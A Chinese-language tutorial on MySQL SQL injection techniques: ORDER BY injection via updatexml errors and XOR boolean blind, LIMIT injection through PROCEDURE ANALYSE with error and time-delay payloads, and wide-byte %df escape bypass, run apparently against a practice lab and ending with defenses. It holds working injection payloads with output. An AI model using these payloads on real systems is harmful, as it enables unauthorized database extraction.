顾名思义,注入点出现在oder by后面即可称为order by 注入
正常的oder by 语句:
select * from users order by id desc;
当desc此处位置参数可控时,即有可能存在oreder by注入,那么如何在这样的情况下注出我们想要的数据呢?
1.如果有报错信息输出,可尝试通过报错注入完成sql注入攻击
2.如果没有回显,可尝试盲注的手法来注入
这里用updatexml函数来执行报错注入的效果:
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
ERROR 1105 (HY000): XPATH syntax error: '~security' //获取当前数据库
获取数据库个数
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
获取数据库列表
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~security'
获取表个数
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~4'
获取表名
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users'
获取字段个数
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~3'
获取字段名
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~id,username,password'
获取信息
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select password from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
另外就是没有order by注入没有回显的情况,这时就该用到盲注了,也就是说采取根据页面回显的状态进行判断的形式来进行布尔盲注。
首先这里运用到了一个异或的知识,0异或任何数值都还是这个值的本身,比如说0^10010
的值还是10010
。
接着再来看刚刚的简单sql语句
select * from users order by id desc;
这里的desc是可控字符串的话,我们让这条语句变下形:
select * from users order by id ^0;
这样的话,由于order by默认是升序排列的,没有desc也没有影响,同时,加上了^0也还是id本身,所以跟原来正常的排序没有任何的变化。
select * from users order by id ^1;
但如果是加上了^1的话,就会跟原来的排序发生明显变化,盲注也就通过这里的变化来判断我们注入的sql语句是否返回1。
另外,这里的盲注还用到了regexp,最终的sql注入语句变为:
select * from users order by id ^(select(select version()) regexp '^5');
一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字
执行语句
select id from users limit 0,1
这种情况下的 limit 后面可以使用union进行联合查询注入执行语句
select id from users limit 0,1 union select username from users;
执行语句
select id from users order by id desc limit 0,1;
此时后面再次使用union将会报错
除了union 就没有其他可以使用的了吗,非也
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
MySQL 5中的SELECT语法:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
limit 关键字后面还可跟PROCEDURE
和 INTO
两个关键字,但是 INTO
后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE
为例进行注入
使用 PROCEDURE
函数进行注入
ANALYSE支持两个参数,首先尝试一下默认两个参数
mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
成功爆出 mysql 版本信息,证明如果存在报错回显的话,可以使用报错注入在limit后面进行注入
如果不回显那就延迟注入
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
原理:宽字节(两字节)带来的安全问题主要是吃ASCII
字符(一字节)的现象,使用一些特殊字符来”吃掉“经过转义符 “ \ ” 。
在重新详细了解宽字节注入之前,我认为宽字节注入只是出现在网站使用GBK编码的时代,现在已经很少出现了,但是实际上宽字节不只是出现在GBK编码中。
在PHP中,通过iconv()进行编码转换时,也可能出现宽字节注入。
还有一个误区:
这里的编码问题不是出现在HTML页面编码,而是与数据库的编码形式有关,一般我们在建立一个数据库的时候会让我们选择数据库的编码形式,所以有时候网站虽然是UTF-8写的,但是如果数据库是GBK的形式,也会出现宽字节,现实这样建站的奇葩应该很少叭。。。
宽字节编码有哪些:
GB2312、GBK、GB18030、BIG5、Shift_JIS
等这些都是常说的宽字节
MySQL中用于转义的函数有:
addslashes、mysql_real_escape_string、mysql_escape_string
以及后面在高版本被去除的magic_quote_gpc
绕过思路:
因为宽字节注入主要是吃掉 \ ,所以一般时候加一个 %df 这种就可以吃掉,其实加三个%df也可以吃掉,只要是奇数个%df即可。
防御方法:
1.设置character_set_client=binary,将数据以二进制形式传递
2.矫正人们对于mysql_real_escape_string的误解,单独调用set names gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。
3.谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。